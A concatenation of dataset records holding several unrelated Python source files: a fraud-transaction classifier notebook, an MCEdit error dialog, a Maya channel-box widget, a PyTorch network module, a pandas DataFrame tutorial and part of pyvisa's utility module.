B\",len(ldf_training_dataset_normal)+\n (len(ldf_training_dataset_rev)+len(ldf_training_dataset_multi_swipe)),\n (round(sum(ldf_training_dataset_rev['transactionAmount']))+\n round(sum(ldf_training_dataset_multi_swipe['transactionAmount'])))+\n round(sum(ldf_training_dataset_normal['transactionAmount']))])\nprint(\"\\nC = A + B (Normal & Duplicate both)\")\nprint(Model_Accuracy)\n\n\n# ##Question 4: Model\n\n# ### Sampling to make the dataset balanced\n\n# In[83]:\n\n\nldf_training_dataset.isFraud.value_counts().to_frame(\"Count\")\n\n\n# Since the number of isFraud=True cases is very low as compared to the isFraud=False cases,\n# we will take out a balanced sample by keeping all the records of isFraud=True cases and taking only 18,000 records of isFraud=False cases.\n# In[84]:\n\n\nldf_training_dataset_2 = ldf_training_dataset.groupby('isFraud', group_keys=False).apply(lambda x:x.sample(min(len(x), 18000)))\nldf_training_dataset_2 = ldf_training_dataset_2.reset_index(drop=True)\nprint(\"Number of records after under-sampling: \"+str(len(ldf_training_dataset_2.isFraud)))\n\n\n# In[85]:\n\n\nldf_training_dataset_2.isFraud.value_counts().to_frame(\"Count\")\n\n\n# ##### Removing the duplicate transactions (Reversal and Multi-swipe)\n\n# In[86]:\n\n\nldf_training_dataset_3 = ldf_training_dataset_2[(ldf_training_dataset_2['transactionType']!=\"REVERSAL\") &\n (ldf_training_dataset_2['IsDuplicate'] == False)]\n\n\n# ## Predictive model to determine whether a given transaction will be fraudulent or not\n\n# #### Select input variables\n\n# In[87]:\n\n\ninput_col = ['creditLimit', 'transactionAmount', 'merchantCountryCode',\n 'merchantCategoryCode','cardPresent', 'posEntryMode', 'posConditionCode', \n 'acqCountry', 'currentBalance', 'isFraud']\nldf_training_dataset_clf = ldf_training_dataset_3[input_col]\n\n\n# #### Convert categorical columns to dummy variables \n\n# In[88]:\n\n\nfeature_dummy = pd.get_dummies(ldf_training_dataset_clf[\"creditLimit\"], prefix='FRAUD_CLASSIFIER_creditLimit')\nldf_training_dataset_clf = pd.concat([ldf_training_dataset_clf, feature_dummy], axis = 1)\nldf_training_dataset_clf.drop(\"creditLimit\", axis=1, inplace=True)\n\nfeature_dummy = pd.get_dummies(ldf_training_dataset_clf[\"merchantCountryCode\"], prefix='FRAUD_CLASSIFIER_merchantCountryCode')\nldf_training_dataset_clf = pd.concat([ldf_training_dataset_clf, feature_dummy], axis = 1)\nldf_training_dataset_clf.drop(\"merchantCountryCode\", axis=1, inplace=True)\n\nfeature_dummy = pd.get_dummies(ldf_training_dataset_clf[\"merchantCategoryCode\"], prefix='FRAUD_CLASSIFIER_merchantCategoryCode')\nldf_training_dataset_clf = pd.concat([ldf_training_dataset_clf, feature_dummy], axis = 1)\nldf_training_dataset_clf.drop(\"merchantCategoryCode\", axis=1, inplace=True)\n\nfeature_dummy = pd.get_dummies(ldf_training_dataset_clf[\"cardPresent\"], prefix='FRAUD_CLASSIFIER_cardPresent')\nldf_training_dataset_clf = pd.concat([ldf_training_dataset_clf, feature_dummy], axis = 1)\nldf_training_dataset_clf.drop(\"cardPresent\", axis=1, inplace=True)\n\nfeature_dummy = pd.get_dummies(ldf_training_dataset_clf[\"posEntryMode\"], prefix='FRAUD_CLASSIFIER_posEntryMode')\nldf_training_dataset_clf = pd.concat([ldf_training_dataset_clf, feature_dummy], axis = 1)\nldf_training_dataset_clf.drop(\"posEntryMode\", axis=1, inplace=True)\n\nfeature_dummy = pd.get_dummies(ldf_training_dataset_clf[\"posConditionCode\"], prefix='FRAUD_CLASSIFIER_posConditionCode')\nldf_training_dataset_clf = pd.concat([ldf_training_dataset_clf, feature_dummy], axis = 1)\nldf_training_dataset_clf.drop(\"posConditionCode\", axis=1, inplace=True)\n\nfeature_dummy = pd.get_dummies(ldf_training_dataset_clf[\"acqCountry\"], prefix='FRAUD_CLASSIFIER_acqCountry')\nldf_training_dataset_clf = pd.concat([ldf_training_dataset_clf, feature_dummy], axis = 1)\nldf_training_dataset_clf.drop(\"acqCountry\", axis=1, inplace=True)\n\n\n# #### Train Test & Validation Split\n\n# In[97]:\n\n\ny = ldf_training_dataset_clf.isFraud\nX = ldf_training_dataset_clf.drop(\"isFraud\", axis=1)\n\nmy_tags = y\n\n\n# In[98]:\n\n\n# splitting X and y into training and testing sets \nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, stratify=y, random_state=123, shuffle=True)\n\n\n# In[99]:\n\n\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n\n\n# ### Algorithm 1: Support Vector Machines\n\n# ##### Define a model\n\n# In[89]:\n\n\nclf_svm = SGDClassifier(\n loss='hinge',\n penalty='l2',\n alpha=1e-3,\n random_state=42,\n max_iter=5,\n tol=None)\n\n\n# ##### Fit model on training data\n\n# In[102]:\n\n\nsvm_model = clf_svm.fit(X_train, y_train)\n\n\n# ##### Predicting on test data\n\n# In[103]:\n\n\nsvm_y_pred = svm_model.predict(X_test)\n\n\n# ##### Model evaluation metrics: Accuracy, Precision, Recall, F1 Score\n\n# In[95]:\n\n\nconfusion_matrix(y_test,svm_y_pred)\n\n\n# In[109]:\n\n\nprint('Accuracy %s' % accuracy_score(svm_y_pred, y_test))\nprint('Precision:', precision_score(svm_y_pred, y_test, average='weighted'))\nprint('Recall:', recall_score(svm_y_pred, y_test,average='weighted'))\nprint('F1 score:', f1_score(svm_y_pred, y_test,average='weighted'))\n\n\n# ### Algorithm 2: Light GBM (Light Gradient Boosting Machine Classifier)\n\n# ##### Define a model\n\n# In[112]:\n\n\nclf_lgbm = lgb.LGBMClassifier()\n\n\n# ##### Fit model on training data\n\n# In[ ]:\n\n\nlgbm_model = clf_lgbm.fit(X_train, y_train)\n\n\n# ##### Predicting on test data\n\n# In[ ]:\n\n\nlgbm_y_pred = lgbm_model.predict(X_test)\n\n\n# ##### Model evaluation metrics: Accuracy, Precision, Recall, F1 Score\n\n# In[113]:\n\n\nconfusion_matrix(y_test,lgbm_y_pred)\n\n\n# In[114]:\n\n\nprint('Accuracy %s' % accuracy_score(lgbm_y_pred, y_test))\nprint('Precision:', precision_score(lgbm_y_pred, y_test, average='weighted'))\nprint('Recall:', recall_score(lgbm_y_pred, y_test,average='weighted'))\nprint('F1 score:', f1_score(lgbm_y_pred, y_test,average='weighted'))\n\n\n# ### Algorithm 3: XGB (Extreme Gradient Boost Classifier)\n\n# ##### Define a model\n\n# In[116]:\n\n\nclf_xgb = XGBClassifier()\n\n\n# ##### Fit model on training data\n\n# In[117]:\n\n\nxgb_model = clf_xgb.fit(X_train, y_train)\n\n\n# ##### Predicting on test data\n\n# In[118]:\n\n\nxgb_y_pred = xgb_model.predict(X_test)\n\n\n# ##### Model evaluation metrics: Accuracy, Precision, Recall, F1 Score\n\n# In[119]:\n\n\nconfusion_matrix(y_test,xgb_y_pred)\n\n\n# In[120]:\n\n\nprint('Accuracy %s' % accuracy_score(xgb_y_pred, y_test))\nprint('Precision:', precision_score(xgb_y_pred, y_test, average='weighted'))\nprint('Recall:', recall_score(xgb_y_pred, y_test,average='weighted'))\nprint('F1 score:', f1_score(xgb_y_pred, y_test,average='weighted'))\n\n\n#
\n\n# ## Using an estimate of performance using an appropriate sample\n\n# ### Model Performance Comparison\n\n# In[121]:\n\n\nmodels = {'SVM': [accuracy_score(svm_y_pred, y_test),\n precision_score(svm_y_pred, y_test, average='weighted'),\n recall_score(svm_y_pred, y_test, average='weighted'),\n f1_score(svm_y_pred, y_test,average='weighted')],\n 'LGBM': [accuracy_score(lgbm_y_pred, y_test),\n precision_score(lgbm_y_pred, y_test, average='weighted'),\n recall_score(lgbm_y_pred, y_test,average='weighted'),\n f1_score(lgbm_y_pred, y_test,average='weighted')],\n 'XGB': [accuracy_score(xgb_y_pred, y_test),\n precision_score(xgb_y_pred, y_test, average='weighted'),\n recall_score(xgb_y_pred, y_test,average='weighted'),\n f1_score(xgb_y_pred, y_test,average='weighted')]\n }\n\ndf_models = pd.DataFrame(models, index=['Accuracy', 'Precision', 'Recall', 'F1-Score'])\n\ndf_models\n\n\n# In[125]:\n\n\nplt.rcParams[\"figure.figsize\"] = (15,8)\n\ndf_models.plot.bar(edgecolor = \"white\")\nplt.legend().set_visible(True)\nplt.title(\"Comparing Classification Performance of Multiple Algorithms\")\nplt.xticks(rotation = 0)\nplt.show()\n\n\n\n\n# In[115]:\n\n\nfeat_importances = pd.Series(lgbm_model.feature_importances_, index=X_test.columns)\nfeat_importances.nsmallest(20).plot(kind='barh')\nplt.show()\n\n\n# We can observe that the top 5 features for determining Fraud Transactions are:\n# * posConditionCode=01\n# * merchantCategoryCode=\"furniture\"\n# * creditLimit=250\n# * creditLimit=1000\n# * acqCountry= \" \"\n\n# In[ ]:\n\n\n\n\n","sub_path":"src/SVM_LightGBM_XGB_Fraud_Transaction_Classification.py","file_name":"SVM_LightGBM_XGB_Fraud_Transaction_Classification.py","file_ext":"py","file_size_in_byte":13519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"382045454","text":"\"\"\"\n error_dialog\n\"\"\"\nfrom __future__ import absolute_import, division, print_function, unicode_literals\nimport logging\nimport traceback\nimport sys\nimport platform\n\nfrom PySide import QtGui\nfrom mcedit2.util import qglcontext\n\nfrom mcedit2.util.load_ui import load_ui\n\nlog = logging.getLogger(__name__)\n\ndef showErrorDialog(text, tb, fatal):\n dialog = ErrorDialog(text, tb, fatal)\n dialog.exec_()\n\nclass ErrorDialog(QtGui.QDialog):\n \"\"\"\n A dialog for displaying an error traceback when something goes wrong.\n\n Used to report compile and run errors for plugin modules and classes, and might be\n used to report errors in MCEdit itself during signal or event handlers.\n \"\"\"\n def __init__(self, text, exc_info, fatal):\n super(ErrorDialog, self).__init__()\n load_ui(\"error_dialog.ui\", baseinstance=self)\n\n exc_type, exc_value, exc_tb = exc_info\n\n self.errorDescriptionLabel.setText(text)\n tbText = \"\".join(traceback.format_exception(exc_type, exc_value, exc_tb))\n\n contextInfo = qglcontext.getContextInfo() or \"\"\n\n from mcedit2 import __version__\n tbText = \"MCEdit version: %s\\n\" \\\n \"Python version: %s\\n\" \\\n \"Platform: %s\\n\" \\\n \"System version: %s\\n\" \\\n \"Processor: %s\\n\" \\\n \"\\n\" \\\n \"%s\\n\" \\\n \"------\\n\\n\" \\\n \"%s\\n\\n\" \\\n \"%s\" % (__version__, sys.version, sys.platform,\n platform.platform(), platform.processor(),\n contextInfo, text, tbText)\n self.tracebackView.setText(tbText)\n\n self.restartMCEditLabel.setVisible(fatal)\n\n","sub_path":"src/mcedit2/dialogs/error_dialog.py","file_name":"error_dialog.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"232157661","text":"'''\nCreated on 31/10/2012\n\n@author: jamesd\n'''\n## FIND A WAY IF POSSIBLE TO PUSH THE RIGHT CLICK MENU FROM MAYA BACK INTO THE PYQT WIDGETS??\n############\n### IMPORTS \n############\nfrom PySide.QtGui import *\nfrom PySide.QtCore import *\nimport maya.OpenMayaUI as mui\nimport shiboken\nimport maya.cmds as cmds\n \nclass BD_Widget_ChanBox(QWidget):\n def __init__(self, parent = None):\n QWidget.__init__(self, parent)\n self.Layout = QVBoxLayout(self)\n self.Layout.setObjectName('QChanBox')\n self.wrapChannelBoxQLayout = mui.MQtUtil.fullName(long(shiboken.getCppPointer(self.Layout)[0]))\n try:\n self.pointChanBox = mui.MQtUtil.findLayout('ChannelsLayersPaneLayout')\n self.MayaWrapEditor = shiboken.wrapInstance(long(self.pointChanBox), QWidget)\n self.Layout.addWidget(self.MayaWrapEditor)\n except TypeError:\n cmds.warning('PyQt has lost the channelbox! Restart maya.')\n self.Layout.setContentsMargins(1,1,1,1)\n self.setContentsMargins(1,1,1,1)\n \n def parentMaya(self):\n cmds.paneLayout('ChannelsLayersPaneLayout', edit = True, parent = 'MainChannelsLayersLayout') \n for form in cmds.layout('MainChannelsLayersLayout', query = True, ca = True):\n if 'ChannelButtonForm' in form:\n cmds.formLayout('MainChannelsLayersLayout', edit = True, af = [('ChannelButtonForm', 'top', 0)])\n else:\n cmds.formLayout('MainChannelsLayersLayout', edit = True, af = [(form, 'top', 20), (form, 'left', 0), (form, 'bottom', 0), (form, 'right', 0)])\n \n def parentBD(self):\n self.pointChanBox = mui.MQtUtil.findLayout('ChannelsLayersPaneLayout')\n try:\n self.MayaWrapEditor = shiboken.wrapInstance(long(self.pointChanBox), QWidget)\n except TypeError:\n self.MayaWrapEditor = QWidget() \n self.Layout.addWidget(self.MayaWrapEditor)\n cmds.dockControl('dockControl1', edit = True, visible = False)\n \n def showEvent(self, event):\n QWidget.showEvent(self, event)\n self.parentBD()","sub_path":"BDmaya/main_uiWidgets/BD_Widget_ChanBox.py","file_name":"BD_Widget_ChanBox.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"182671790","text":"import torch\nimport torch.nn as nn\n\n__all__ = ['pmlp', 'palexnet', 'presnet']\n\n\nclass PLinear(nn.Linear):\n\n def __init__(self, in_features, out_features, bias=True):\n super(PLinear, self).__init__(in_features, out_features, bias)\n self.scale = nn.Parameter(torch.ones(out_features))\n self.weight.requires_grad = False\n if bias:\n self.bias.requires_grad = False\n\n def forward(self, input):\n output = input.matmul(self.weight.t()) * self.scale\n if self.bias is not None:\n output += torch.jit._unwrap_optional(self.bias)\n return output\n\n\n### MLP ###\n\nclass PMLP(nn.Module):\n\n def __init__(self, glorot_init, num_classes=10):\n super(PMLP, self).__init__()\n self.FC1 = nn.Sequential(\n nn.PLinear(3 * 32 * 32, 512),\n nn.ReLU(inplace=True)\n )\n self.FC2 = nn.Sequential(\n nn.PLinear(512, 512),\n nn.ReLU(inplace=True)\n )\n self.FC3 = nn.Sequential(\n nn.PLinear(512, 512),\n nn.ReLU(inplace=True)\n )\n self.classifier = nn.PLinear(512, num_classes)\n if glorot_init:\n lins = [self.FC1[0], self.FC2[0], self.FC3[0], self.classifier]\n for l in lins:\n nn.init.xavier_uniform_(l.weight)\n nn.init.zeros_(l.bias)\n\n def forward(self, x):\n x = x.view(-1, 3 * 32 * 32)\n x = self.FC3(self.FC2(self.FC1(x)))\n x = x.view(x.size(0), -1)\n x = self.classifier(x)\n return x\n\n\ndef pmlp(**kwargs):\n model = PMLP(**kwargs)\n return model\n\n\n### AlexNet ###\n\nclass PAlexNet(nn.Module):\n\n def __init__(self, num_classes=10):\n super(PAlexNet, self).__init__()\n self.features = nn.Sequential(\n nn.Conv2d(3, 64, kernel_size=11, stride=4, padding=5),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(64, 192, kernel_size=5, padding=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(192, 384, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(384, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n )\n self.classifier = nn.PLinear(256, num_classes)\n\n def forward(self, x):\n x = self.features(x)\n x = x.view(x.size(0), -1)\n x = self.classifier(x)\n return x\n\n\ndef palexnet(**kwargs):\n r\"\"\"AlexNet model architecture from the\n `\"One weird trick...\" `_ paper.\n \"\"\"\n model = PAlexNet(**kwargs)\n return model\n\n\n### ResNet ###\n\ndef conv3x3(in_planes, out_planes, stride=1):\n \"3x3 convolution with padding\"\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n padding=1, bias=False)\n\n\nclass BasicBlock(nn.Module):\n expansion = 1\n\n def __init__(self, inplanes, planes, stride=1, downsample=None):\n super(BasicBlock, self).__init__()\n self.conv1 = conv3x3(inplanes, planes, stride)\n self.bn1 = nn.BatchNorm2d(planes)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(planes, planes)\n self.bn2 = nn.BatchNorm2d(planes)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out += residual\n out = self.relu(out)\n\n return out\n\n\nclass Bottleneck(nn.Module):\n expansion = 4\n\n def __init__(self, inplanes, planes, stride=1, downsample=None):\n super(Bottleneck, self).__init__()\n self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False)\n self.bn1 = nn.BatchNorm2d(planes)\n self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride,\n padding=1, bias=False)\n self.bn2 = nn.BatchNorm2d(planes)\n self.conv3 = nn.Conv2d(planes, planes * 4, kernel_size=1, bias=False)\n self.bn3 = nn.BatchNorm2d(planes * 4)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out += residual\n out = self.relu(out)\n\n return out\n\n\nclass PResNet(nn.Module):\n\n def __init__(self, depth, num_classes=1000):\n super(PResNet, self).__init__()\n # Model type specifies number of layers for CIFAR-10 model\n assert (depth - 2) % 6 == 0, 'depth should be 6n+2'\n n = (depth - 2) // 6\n\n block = Bottleneck if depth >=44 else BasicBlock\n\n self.inplanes = 16\n self.conv1 = nn.Conv2d(3, 16, kernel_size=3, padding=1,\n bias=False)\n self.bn1 = nn.BatchNorm2d(16)\n self.relu = nn.ReLU(inplace=True)\n self.layer1 = self._make_layer(block, 16, n)\n self.layer2 = self._make_layer(block, 32, n, stride=2)\n self.layer3 = self._make_layer(block, 64, n, stride=2)\n self.avgpool = nn.AvgPool2d(8)\n self.fc = nn.PLinear(64 * block.expansion, num_classes)\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n def _make_layer(self, block, planes, blocks, stride=1):\n downsample = None\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n nn.Conv2d(self.inplanes, planes * block.expansion,\n kernel_size=1, stride=stride, bias=False),\n nn.BatchNorm2d(planes * block.expansion),\n )\n\n layers = []\n layers.append(block(self.inplanes, planes, stride, downsample))\n self.inplanes = planes * block.expansion\n for i in range(1, blocks):\n layers.append(block(self.inplanes, planes))\n\n return nn.Sequential(*layers)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.relu(x) # 32x32\n\n x = self.layer1(x) # 32x32\n x = self.layer2(x) # 16x16\n x = self.layer3(x) # 8x8\n\n x = self.avgpool(x)\n x = x.view(x.size(0), -1)\n x = self.fc(x)\n\n return x\n\n\ndef presnet(**kwargs):\n \"\"\"\n Constructs a Porcupine ResNet model.\n \"\"\"\n return PResNet(**kwargs)\n\n","sub_path":"models/cifar/pnn.py","file_name":"pnn.py","file_ext":"py","file_size_in_byte":7220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"456599600","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 20 09:34:37 2018\n\n@author: SilverDoe\n\"\"\"\n\n'''\n========================== DataFrame ==========================================\n\npandas.DataFrame( data, index, columns, dtype, copy)\n\nParameters : \n============\n1. data : data takes various forms like ndarray, series, map, lists, dict, constants\n and also another DataFrame.\n \n2. index : For the row labels, the Index to be used for the resulting frame is \n Optional Default np.arrange(n) if no index is passed.\n \n3. columns : For column labels, the optional default syntax is - np.arrange(n). \n This is only true if no index is passed.\n \n4. dtype : Data type of each column.\n\n5. copy : This command (or whatever it is) is used for copying of data, if the \n default is False.\n \n\n'''\n\n#=============== Empty DataFrame =================================================\n\nimport pandas as pd\ndf = pd.DataFrame()\nprint(df)\n\n#============= DataFrame from Lists ============================================\n\n# no index passed, no column names given\nimport pandas as pd\ndata = [1,2,3,4,5]\ndf = pd.DataFrame(data)\nprint(df)\n\n# no index passed, column names given\nimport pandas as pd\ndata = [['Natsu',13],['Lisanna',9],['Happy',1]]\ndf = pd.DataFrame(data,columns=['Name','Age'])\nprint(df)\n\n# no index passed, column names given, datatype passed\nimport pandas as pd\ndata = [['Natsu',13],['Lisanna',8],['Happy',1]]\ndf = pd.DataFrame(data,columns=['Name','Age'],dtype=float)\nprint(df)\n\n\n#========== Dataframe from Dictionary of ndarrays/lists ============================================\n\n''' \n>>All the ndarrays must be of same length. If index is passed, then the length\n of the index should equal to the length of the arrays.\n \n>> To preserve the order of the columns:\n 1. use ordered doctionary, since dictionaries will not preserve the order when created. \n 2. use columns index while creating the dataframe.\n 3. use reorder the columns the way you want by using df = df[list of column names in the order you want]\n \n'''\n \n# using arrays, No index given.\nimport pandas as pd\ndata = {'Name':['Lisanna', 'Natsu', 'Erza', 'Gray'],'Age':[15,20,23,20]}\ndf = pd.DataFrame(data)\nprint(df)\n\n# using arrays, Index given. \nimport pandas as pd\ndata = {'Name':['Lisanna', 'Natsu', 'Erza', 'Gray'],'Age':[15,20,23,20]}\ndf = pd.DataFrame(data, index=['rank1','rank2','rank3','rank4'])\nprint(df)\n\n'''\n>>List of Dictionaries can be passed as input data to create a DataFrame. The \ndictionary keys are by default taken as column names.\n\n>>NaN (Not a Number) is appended in missing areas when using lists instead of arrays.\n\n'''\n\n# using lists, no index given\nimport pandas as pd\ndata = [{'a': 1, 'b': 2},{'a': 5, 'b': 10, 'c': 20}]\ndf = pd.DataFrame(data)\nprint(df)\n\n# using lists,index given\nimport pandas as pd\ndata = [{'a': 1, 'b': 2},{'a': 5, 'b': 10, 'c': 20}]\ndf = pd.DataFrame(data, index=['first', 'second'])\nprint(df)\n\n# using lists,index given, columns given\nimport pandas as pd\ndata = [{'a': 1, 'b': 2},{'a': 5, 'b': 10, 'c': 20}]\n\n#With two column indices, values same as dictionary keys\ndf1 = pd.DataFrame(data, index=['first', 'second'], columns=['a', 'b'])\nprint(df1)\n\n#With two column indices with one index with other name\ndf2 = pd.DataFrame(data, index=['first', 'second'], columns=['a', 'b1'])\nprint(df2)\n\n\n#using dictionary of Series\nimport pandas as pd\n\nd = {'one' : pd.Series([1, 2, 3], index=['a', 'b', 'c']),\n 'two' : pd.Series([1, 2, 3, 4], index=['a', 'b', 'c', 'd'])}\n\ndf = pd.DataFrame(d)\nprint(df)\n\n\n# using ordered dictionary to preserve the order of the columns\nimport numpy as np\nimport pandas as pd\nfrom collections import OrderedDict\n\na = np.array( [ 1, 2, 3 ] )\nb = np.array( [ 4, 5, 6 ] )\nc = np.array( [ 7, 8, 9 ] )\n\nnd = { 'p': pd.Series(a), 'z': pd.Series(b), 'n': pd.Series(c) } # normal dictionary\nod = OrderedDict( { 'p': pd.Series(a), 'z': pd.Series(b), 'n': pd.Series(c) } ) # ordered doctionary\n\ndf = pd.DataFrame(od)\nprint(df)\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"2_Python Advanced/8_Pandas/2_DataFrames.py","file_name":"2_DataFrames.py","file_ext":"py","file_size_in_byte":3985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"647491234","text":"# -*- coding: utf-8 -*-\n\"\"\"\n pyvisa.util\n ~~~~~~~~~~~\n\n General utility functions.\n\n This file is part of PyVISA.\n\n :copyright: 2014 by PyVISA Authors, see AUTHORS for more details.\n :license: MIT, see LICENSE for more details.\n\"\"\"\nimport functools\nimport inspect\nimport io\nimport os\nimport platform\nimport struct\nimport subprocess\nimport sys\nimport warnings\nfrom collections import OrderedDict\nfrom subprocess import check_output\n\nfrom . import __version__, logger\n\ntry:\n import numpy as np\nexcept ImportError:\n np = None\n\n\n#: Length of the header found before a binary block (ieee or hp) that will\n#: trigger a warning to alert the user of a possibly incorrect answer from the\n#: instrument. In general binary block are not prefixed by a header and finding\n#: a long one may mean that we picked up a # in the bulk of the message.\nDEFAULT_LENGTH_BEFORE_BLOCK = 25\n\n\ndef _use_numpy_routines(container):\n \"\"\"Should optimized numpy routines be used to extract the data.\n\n \"\"\"\n if np is None or container in (tuple, list):\n return False\n\n if (container is np.array or (inspect.isclass(container) and\n issubclass(container, np.ndarray))):\n return True\n\n return False\n\n\ndef read_user_library_path():\n \"\"\"Return the library path stored in one of the following configuration files:\n\n /share/pyvisa/.pyvisarc\n ~/.pyvisarc\n\n is the site-specific directory prefix where the platform\n independent Python files are installed.\n\n Example configuration file:\n\n [Paths]\n visa library=/my/path/visa.so\n\n Return `None` if configuration files or keys are not present.\n\n \"\"\"\n from configparser import ConfigParser, NoSectionError, NoOptionError\n\n config_parser = ConfigParser()\n files = config_parser.read([os.path.join(sys.prefix, \"share\", \"pyvisa\",\n \".pyvisarc\"),\n os.path.join(os.path.expanduser(\"~\"),\n \".pyvisarc\")])\n\n if not files:\n logger.debug('No user defined library files')\n return None\n\n logger.debug('User defined library files: %s' % files)\n try:\n return config_parser.get(\"Paths\", \"visa library\")\n except (NoOptionError, NoSectionError):\n logger.debug('NoOptionError or NoSectionError while reading config file')\n return None\n\n\nclass LibraryPath(str):\n\n #: Architectural information (32, ) or (64, ) or (32, 64)\n _arch = None\n\n def __new__(cls, path, found_by='auto'):\n obj = super(LibraryPath, cls).__new__(cls, path)\n obj.path = path\n obj.found_by = found_by\n\n return obj\n\n @property\n def arch(self):\n if self._arch is None:\n try:\n self._arch = get_arch(self.path)\n except Exception:\n self._arch = tuple()\n\n return self._arch\n\n @property\n def is_32bit(self):\n if not self.arch:\n return 'n/a'\n return 32 in self.arch\n\n @property\n def is_64bit(self):\n if not self.arch:\n return 'n/a'\n return 64 in self.arch\n\n @property\n def bitness(self):\n if not self.arch:\n return 'n/a'\n return ', '.join(str(a) for a in self.arch)\n\n\ndef warn_for_invalid_kwargs(keyw, allowed_keys): # pragma: no cover\n warnings.warn('warn_for_invalid_kwargs will be removed in 1.12',\n FutureWarning)\n for key in keyw.keys():\n if key not in allowed_keys:\n warnings.warn('Keyword argument \"%s\" unknown' % key, stacklevel=3)\n\n\ndef filter_kwargs(keyw, selected_keys): # pragma: no cover\n warnings.warn('warn_for_invalid_kwargs will be removed in 1.12',\n FutureWarning)\n result = {}\n for key, value in keyw.items():\n if key in selected_keys:\n result[key] = value\n return result\n\n\ndef split_kwargs(keyw, self_keys, parent_keys, warn=True): # pragma: no cover\n warnings.warn('warn_for_invalid_kwargs will be removed in 1.12',\n FutureWarning)\n self_kwargs = dict()\n parent_kwargs = dict()\n self_keys = set(self_keys)\n parent_keys = set(parent_keys)\n all_keys = self_keys | parent_keys\n for key, value in keyw.items():\n if warn and key not in all_keys:\n warnings.warn('Keyword argument \"%s\" unknown' % key, stacklevel=3)\n if key in self_keys:\n self_kwargs[key] = value\n if key in parent_keys:\n parent_kwargs[key] = value\n\n return self_kwargs, parent_kwargs\n\n\n_converters = {\n 's': str,\n 'b': functools.partial(int, base=2),\n 'c': chr,\n 'd': int,\n 'o': functools.partial(int, base=8),\n 'x': functools.partial(int, base=16),\n 'X': functools.partial(int, base=16),\n 'e': float,\n 'E': float,\n 'f': float,\n 'F': float,\n 'g': float,\n 'G': float,\n}\n\n_np_converters = {\n 'd': 'i',\n 'e': 'd',\n 'E': 'd',\n 'f': 'd',\n 'F': 'd',\n 'g': 'd',\n 'G': 'd',\n}\n\n\ndef from_ascii_block(ascii_data, converter='f', separator=',', container=list):\n \"\"\"Parse ascii data and return an iterable of numbers.\n\n :param ascii_data: data to be parsed.\n :type ascii_data: str\n :param converter: function used to convert each value.\n Defaults to float\n :type converter: callable\n :param separator: a callable that split the str into individual elements.\n If a str is given, data.split(separator) is used.\n :type: separator: (str) -> collections.Iterable[T] | str\n :param container: container type to use for the output data.\n \"\"\"\n if (_use_numpy_routines(container) and\n isinstance(converter, str) and\n isinstance(separator, str) and\n converter in _np_converters):\n return np.fromstring(ascii_data, _np_converters[converter],\n sep=separator)\n\n if isinstance(converter, str):\n try:\n converter = _converters[converter]\n except KeyError:\n raise ValueError('Invalid code for converter: %s not in %s' %\n (converter, str(tuple(_converters.keys()))))\n\n if isinstance(separator, str):\n data = ascii_data.split(separator)\n else:\n data = separator(ascii_data)\n\n return container([converter(raw_value) for raw_value in data])\n\n\ndef to_ascii_block(iterable, converter='f', separator=','):\n \"\"\"Turn an iterable of numbers in an ascii block of data.\n\n :param iterable: data to be parsed.\n :type iterable: collections.Iterable[T]\n :param converter: function used to convert each value.\n String formatting codes are also accepted.\n Defaults to str.\n :type converter: callable | str\n :param separator: a callable that split the str into individual elements.\n If a str is given, data.split(separator) is used.\n :type: separator: (collections.Iterable[T]) -> str | str\n\n :rtype: str\n \"\"\"\n\n if isinstance(separator, str):\n separator = separator.join\n\n if isinstance(converter, str):\n converter = '%' + converter\n block = separator(converter % val for val in iterable)\n else:\n block = separator(converter(val) for val in iterable)\n return block\n\n\ndef parse_ieee_block_header(block, length_before_block=None,\n raise_on_late_block=False) -> (int, int):\n \"\"\"Parse the header of a IEEE block.\n\n Definite Length Arbitrary Block:\n #\n\n The header_length specifies the size of the data_length field.\n And the data_length field specifies the size of the data.\n\n Indefinite Length Arbitrary Block:\n #0\n\n In this case the data length returned will be 0. The actual length can be\n deduced from the block and the offset.\n\n :param block: IEEE block.\n :type block: 